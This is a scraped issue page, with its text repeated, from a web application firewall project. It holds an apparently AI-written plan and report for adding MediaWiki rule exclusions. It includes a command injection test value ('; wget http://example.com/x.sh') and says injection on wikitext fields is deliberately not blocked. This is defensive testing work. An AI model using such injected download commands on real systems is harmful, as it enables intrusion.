One unit of #212: its definition of done, for MediaWiki, built by the plan at #212 (comment).
Ordinary traffic to record: pages signed in and out; sign-in; editing and previewing wikitext, including templates and tables; file uploads; api.php; search.
The landing title ends with this issue's (closes #N).
Model: opus-5-5
One unit of https://git.eeqj.de/sneak/smallwebwaf/issues/212: its definition of done, for MediaWiki, built by the plan at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-171639.
Ordinary traffic to record: pages signed in and out; sign-in; editing and previewing wikitext, including templates and tables; file uploads; `api.php`; search.
The landing title ends with this issue's `(closes #N)`.
Model: opus-5-5
clawbot
self-assigned this 2026-11-09 06:12:22 +01:00
Where:internal/coreruleset. New files mediawiki.conf, mediawiki_test.go and testdata/mediawiki-requests.txt, beside WordPress's and Drupal's. The tests use the shared reader of recorded requests and the shared attack constants, as drupal_test.go does.
Recording: MediaWiki's current release from its official image, pinned by digest, in Docker on this host; a headless Chrome in a container and plain HTTP clients for api.php. From MediaWiki's source, list first every query and body field that carries a search, a title, a name, a file name or an address, and record each with plain words and with python3, powershell, ls -la and .htaccess. Commit nothing about running it; remove every container you start; stay under 3 GiB of RAM.
Exclusions: per field, across MediaWiki's own areas (index.php, api.php, /wiki/), removing on each field only the rules that misfire there. 932230 and 932235 stay wherever they do not misfire, and a test shows ; wget http://example.com/x.sh still refused on each field the file touches. Every rule in mediawiki.conf is phase 1.
SWW_APPS:#225 waits on sneak. If it has landed, register mediawiki in apps exactly as drupal is, with its own skip rule and end marker. If not, SPEC.md lists the file as the eleventh change, after Drupal's, and coreruleset.go loads it after drupal.conf; that PR then adapts.
Docs:README.md lists MediaWiki where it lists the other apps; SPEC.md describes the change where it describes Drupal's. The PR body names the MediaWiki version and digest recorded, every field and area, and says an ordinary request on another field can still be refused.
make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PR needs-review.
Model: opus-5-5
**Plan for this unit**, on top of https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-171639 and its addition at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023, which bind it:
- **Where:** `internal/coreruleset`. New files `mediawiki.conf`, `mediawiki_test.go` and `testdata/mediawiki-requests.txt`, beside WordPress's and Drupal's. The tests use the shared reader of recorded requests and the shared attack constants, as `drupal_test.go` does.
- **Recording:** MediaWiki's current release from its official image, pinned by digest, in Docker on this host; a headless Chrome in a container and plain HTTP clients for `api.php`. From MediaWiki's source, list first every query and body field that carries a search, a title, a name, a file name or an address, and record each with plain words and with `python3`, `powershell`, `ls -la` and `.htaccess`. Commit nothing about running it; remove every container you start; stay under 3 GiB of RAM.
- **Exclusions:** per field, across MediaWiki's own areas (`index.php`, `api.php`, `/wiki/`), removing on each field only the rules that misfire there. 932230 and 932235 stay wherever they do not misfire, and a test shows `; wget http://example.com/x.sh` still refused on each field the file touches. Every rule in `mediawiki.conf` is phase 1.
- **`SWW_APPS`:** https://git.eeqj.de/sneak/smallwebwaf/pulls/225 waits on sneak. If it has landed, register `mediawiki` in `apps` exactly as `drupal` is, with its own skip rule and end marker. If not, `SPEC.md` lists the file as the eleventh change, after Drupal's, and `coreruleset.go` loads it after `drupal.conf`; that PR then adapts.
- **Docs:** `README.md` lists MediaWiki where it lists the other apps; `SPEC.md` describes the change where it describes Drupal's. The PR body names the MediaWiki version and digest recorded, every field and area, and says an ordinary request on another field can still be refused.
`make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PR `needs-review`.
Model: opus-5-5
Built in #251, recorded from MediaWiki 1.46.2. It covers the plan's three areas plus rest.php, which the default skin's search box uses.
/index.php exclusions apply only when the query has title, because WordPress also serves /index.php.
Wikitext fields skip 932230 and 932235. Those two rules misfire on code blocks, so on wikitext a command injection is not refused.
Uploaded file names skip 932180 on MediaWiki's paths.
The PR body lists every field.
Model: opus-5-5
Built in https://git.eeqj.de/sneak/smallwebwaf/pulls/251, recorded from MediaWiki 1.46.2. It covers the plan's three areas plus `rest.php`, which the default skin's search box uses.
- `/index.php` exclusions apply only when the query has `title`, because WordPress also serves `/index.php`.
- Wikitext fields skip 932230 and 932235. Those two rules misfire on code blocks, so on wikitext a command injection is not refused.
- Uploaded file names skip 932180 on MediaWiki's paths.
The PR body lists every field.
Model: opus-5-5
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
One unit of #212: its definition of done, for MediaWiki, built by the plan at #212 (comment).
Ordinary traffic to record: pages signed in and out; sign-in; editing and previewing wikitext, including templates and tables; file uploads;
api.php; search.The landing title ends with this issue's
(closes #N).Model: opus-5-5
Plan for this unit, on top of #212 (comment) and its addition at #212 (comment), which bind it:
internal/coreruleset. New filesmediawiki.conf,mediawiki_test.goandtestdata/mediawiki-requests.txt, beside WordPress's and Drupal's. The tests use the shared reader of recorded requests and the shared attack constants, asdrupal_test.godoes.api.php. From MediaWiki's source, list first every query and body field that carries a search, a title, a name, a file name or an address, and record each with plain words and withpython3,powershell,ls -laand.htaccess. Commit nothing about running it; remove every container you start; stay under 3 GiB of RAM.index.php,api.php,/wiki/), removing on each field only the rules that misfire there. 932230 and 932235 stay wherever they do not misfire, and a test shows; wget http://example.com/x.shstill refused on each field the file touches. Every rule inmediawiki.confis phase 1.SWW_APPS: #225 waits on sneak. If it has landed, registermediawikiinappsexactly asdrupalis, with its own skip rule and end marker. If not,SPEC.mdlists the file as the eleventh change, after Drupal's, andcoreruleset.goloads it afterdrupal.conf; that PR then adapts.README.mdlists MediaWiki where it lists the other apps;SPEC.mddescribes the change where it describes Drupal's. The PR body names the MediaWiki version and digest recorded, every field and area, and says an ordinary request on another field can still be refused.make fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; aflocktimeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PRneeds-review.Model: opus-5-5
Built in #251, recorded from MediaWiki 1.46.2. It covers the plan's three areas plus
rest.php, which the default skin's search box uses./index.phpexclusions apply only when the query hastitle, because WordPress also serves/index.php.The PR body lists every field.
Model: opus-5-5